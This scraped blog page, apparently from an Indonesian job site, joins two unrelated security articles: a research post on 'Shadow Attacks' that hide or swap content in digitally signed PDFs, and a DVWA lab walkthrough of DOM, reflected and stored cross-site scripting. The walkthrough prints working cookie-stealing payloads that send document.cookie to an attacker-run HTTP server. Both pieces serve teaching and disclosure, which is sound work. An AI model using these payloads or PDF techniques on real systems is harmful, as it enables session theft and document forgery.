Kesempatan Kerja & Meniti Karir

LowonganKerja

Last year we presented How to Spoof PDF Signatures. We showed three different attack classes. In cooperation with the CERT-Bund (BSI), we contacted the vendors of affected PDF applications to inform them about the vulnerabilities and to support them in developing countermeasures. Most vendors reacted promptly and closed the reported vulnerabilities promptly.

One of those three attack classes was Incremental Saving Attacks (ISA). The proposed countermeasures aimed to distinguish PDF objects appended to the file via updates into dangerous and non-dangerous. In other words, black and whitelisting approaches were used.

Naturally, this countermeasure succeeds as long as the PDF update contains evil objects. So we came up with the idea to attack PDFs with only non-dangerous updates. We achieve this by adding invisible, malicious content when creating the PDF document (before it is signed) and to reveal them after signing.

Today, we present Shadow Attacks! Our evaluation of 28 PDF applications reveals that 15 of them, including Adobe Acrobat and Foxit Reader, are vulnerable.

We responsibly disclosed all affected vendors. Together with the CERT-Bund (BSI), we supported the vendors in developing suitable countermeasures. The attacks are documented in CVE-2020-9592 and CVE-2020-9596.

Full results are available in our vulnerability report and on our website.

What are PDF signatures used for and what is the legal status?

PDFs can be secured against manipulations by using digital signatures. This feature enables use-cases such as signing contracts, agreements, payments, and invoices. Regulations like the eSign Act in the USA or the eIDAS regulation in Europe facilitate the acceptance of digitally signed documents by companies and governments. Asian and South American countries also accept digitally signed documents as an equivalent to manually signed paper documents. Adobe Cloud, a leading online service for signing PDF documents, provided 8 billion electronic and digital signature transactions in 2019. The same year, DocuSign processed 15 million documents each day.

What could a Simple Signing Process look like?
The process of digitally signing a contract involves multiple entities and can look as follows: The PDF contract is prepared by the collaborators. The collaborators can be lawyers, designers, typewriters, or members of different companies. Finally, the contract is digitally signed.

PDF Structure and Signature Basics

A PDF consists of three parts: Body, Xref table, and Trailer

The PDF is a platform-independent document format. It starts with a Header, to set the version, and is followed by three main parts, as depicted in the figure.
The first part defines the PDF Body. It contains different objects, which are identified by its object number. The most important object is the root object, which is called the Catalog. In the figure, the Catalog has the object identifier 1 0. The Catalog defines the whole PDF structure by linking to other objects in the Body. In the example given, the Catalog links to form object AcroForm, to some PDF MetaData, and to actual PDF Pages. The latter can reference multiple Page objects, which in turn reference, for example, the actual Content, Font, and Images.
The second part of the PDF is the Xref table. It contains references to the byte positions of all objects used in the PDF Body.
The third part is the Trailer. It consists of two further references: one to the byte position at which the Xref table starts, and another link to the identifier of the root object (1 0).

Incremental Updates and Digitally Signing a PDF

The content of a PDF may be updated for different reasons, for example, by adding review comments or by filling out PDF forms. From a technical perspective, it is possible to add this new content directly into the existing PDF Body and add new references in the Xref table. However, this is not the case according to the PDF specification. Changes to a PDF are implemented using Incremental Updates. An Incremental Update adds new objects into a new PDF Body, which is directly appended after the previous Trailer as shown in the figure to the right. To adequately address the new objects, a new Xref table and Trailer are also appended as well for each Incremental Update. Summarized, a PDF can have multiple Bodies, Xref tables, and Trailers, if Incremental Update is applied.

For protecting the integrity and the authenticity of a PDF, digital signatures can be applied. For this purpose, a Signature object is created and appended to the PDF by using Incremental Update. It is also possible to sign a PDF multiple times (e.g., a contract), resulting in multiple Incremental Updates. The Signature object contains all relevant information for validating the signature, such as the algorithms used and the signing certificate. Once a PDF containing a PDF Signature is opened, the viewer application automatically validates the signature and provides a warning if the content has been modified.

Shadow Attacks

The main idea of the attacks is that the attackers prepare a PDF document containing invisible content. Afterward, the document is sent to a signing entity like a person or a service which reviews the document, signs it and sends it back to the attackers. Despite the integrity protection provided by the digital signature, the attackers can make modifications to the document and change the visibility of the hidden content. Nevertheless, the manipulation is not detected. The digital signature remains valid. Finally, the attackers send the modified signed document to the victim. Although the document is altered, the signature validation is successful, but the victims see different content than the signing entity.

Do the Attacks match a Real-World Scenario?

Of course! In companies and authorities, relevant documents like contracts or agreements are often prepared by the employees who take care of most of the details and technicalities. The document is then signed by an authorized person after a careful review. Another scenario is the signing process of a document within a consortium. Usually, one participant creates the final version of the document, which is then signed by all consortium members. Considering the given examples, an employee or consortium member acting maliciously can hide invisible shadow content during the editing. Consequentially, this content will be signed later.

Additionally, multiple cloud signing services like Adobe Cloud, DocuSign, or Digital Signature Service exist. Among other functionalities, such services receive a document and sign it. This process can also be used also to sign shadow documents.

Different Attack Classes of Shadow Attacks

Shadow Attacks can be divided into the three attack classes Hide, Replace, and Hide-and-Replace, as shown in the figure below. Each class offers the possibility of taking a significant influence on the content of a signed PDF document. In the following, we describe the functionality of the individual classes in more detail.

Shadow Attack: Hide

The concept of this class of shadow attacks is to hide the content relevant for the victims behind a visible layer. For example, the attackers can hide the text "You are fired!" behind a full-page picture showing "Sign me to get the reward!". Once the attackers receive the signed document, they manipulate the document in such a way that the picture is no longer rendered by the viewer application. Hide attacks have two advantages from the attackers' perspective:

Many viewers show warnings if new visible content is added using an Incremental Update. However, they do not warn in most cases if content is removed.
The objects are still accessible within the PDF. In the example above, the text "You are fired!" can still be detected by a search function. This might be important if an online signing service is used and it reviews the document by searching for specific keywords. We identified two variants of this attack class.

Hiding Content via Page.
This attack variant uses an Incremental Update to create a new Page object. It contains all previously used objects except for the overlay, for example, the image. This attack variant is depicted on the left side of figure above.

Hiding Content via Xref.
If the viewer application does not accept changes to PDF structuring objects, such as Page, Pages, or Contents, the second attack variant can be applied. This variant directly affects the overlay object. The simplest method for this is to create an Incremental Update, which only updates the Xref table by setting the overlay object to free. However, making this change is interpreted as a dangerous in many viewers (e.g., Adobe) and an error or a warning is thrown. For this reason, we use another approach: we use the same object ID within the Incremental Update, but we define it as a different object type. For example, we change the overlay type Image to XML/Metadata.
When opening this manipulated document, the overlay is hidden because Metadata cannot be shown. Since adding Metadata to a signed PDF using Incremental Update is considered harmless, the signature remains valid.

Shadow Attack: Replace

In this attack class, specific content of the PDF document is to be exchanged. The first variant uses the visual properties of text fields for this purpose. The second variant is based on a fatal misconception that fonts cannot be used for manipulation purposes.
Replace via Overlay.
This attack targets an interactive feature in PDFs: interactive forms. Forms support different input masks (e.g., text fields, text areas, radio/selection buttons) where users dynamically enter new content and store it in the PDF document. The main idea of the attack is to create a form, which shows one value before (PDF1) and after signing (PDF2), as illustrated on the leftside in the figure below. After the attackers manipulate the PDF and create PDF3, different values are shown in the form (and can be seen on the right side of the figure below). The attack abuses a special property of PDF text fields. A text field can show two different values: the real field value and an overlay value which disappears as soon as the text field is selected. The real value of a form field is contained in an object key named /V. The content of the overlay element is defined within a /BBox object. The /BBox object is comparable to the hint labels known from HTML forms; for example, the hint username to indicate that the username should be entered into a specific login field. In contrast to HTML, in PDF there is no visual difference between the hint and the actual value.

In summary, we can say that this variant allows attackers to manipulate the contents of the text fields for the visible layer arbitrary. As shown in the figure above, this can be used, for example, to maliciously redirect a payment.

Replace via Overwrite.

The main idea of this variant is to append new objects to the signed document which are considered harmless but directly influence the presentation of the signed content. As shown in figure of the three attack classes, the attackers prepare a shadow document that defines a font and includes its description into the document. The font is used for the presentation of specific content. After the document is signed, the attackers append a new font description and overwrite the previous description. The definition of new fonts is considered harmless, because of that, the applications verifying the signature do not show any warning regarding the made changes. For instance, the (re)definition of fonts does not change the content directly. However, it influences the view of the displayed content and makes number or character swapping possible.

Shadow Attack: Hide-and-Replace

In this attack class, the attackers create a shadow PDF document that is sent to the signers. The PDF document contains a hidden description of another document with different content. Since the signers cannot detect the hidden (malicious) content, they sign the document. After signing, the attackers receive the document and only append a new Xref table and Trailer. Within the Xref table, only one change takes place: the reference to the document Catalog (or any other hidden object), which now points to the shadow document.

In fact, the document contains two independent content paths. One path to show the signer harmless content, and one path with malicious content that replaces the first content after it is signed and activated by the attackers. The figure above visually illustrates the described relationships once again.
This attack variant is the most powerful one since the content of the entire document can be exchanged, including text content, forms, fonts, and annotations. The attackers can build a complete shadow document influencing the presentation of each page and each object.

Evaluation

Overall, 15 out of 28 PDF viewing applications were vulnerable to at least one presented attack. Surprisingly, for 11 PDF viewers, all three attack classes were successful. The Table shows that some applications have limited vulnerabilities. These applications respond to any type of Incremental Update with a post-signature modification note, including modifications that are allowed due to the specification. We have evaluated the latest (at the time of evaluation) available versions of the applications on all supported desktop platforms: Windows, macOS, and Linux.

Evaluation results.

Authors of this Post

Simon Rohlmann
Christian Mainka
Vladislav Mladenov
Jörg Schwenk

Acknowledgments

Many thanks to the CERT-Bund (BSI) team for the great support during the responsible disclosure. We also want to acknowledge the teams of the vendors which reacted to our report and fixed the vulnerable implementations.

More information

LowonganKerja

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:

Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:

http://localhost:9000/vulnerabilities/xss_d/?default=English

We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>

When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:

python3 -m http.server

By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>

The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.

Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:

<script>alert("XSS")</script>

After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.

In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:

<script>alert(XSS)</script>

When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:

<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>

to something like this:

<textarea name="mtxMessage" cols="50" rows="3"></textarea>

And now use your payload to steal some cookies:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Kesempatan Kerja & Meniti Karir

Kamis, 18 Januari 2024

Shadow Attacks: Hiding And Replacing Content In Signed PDFs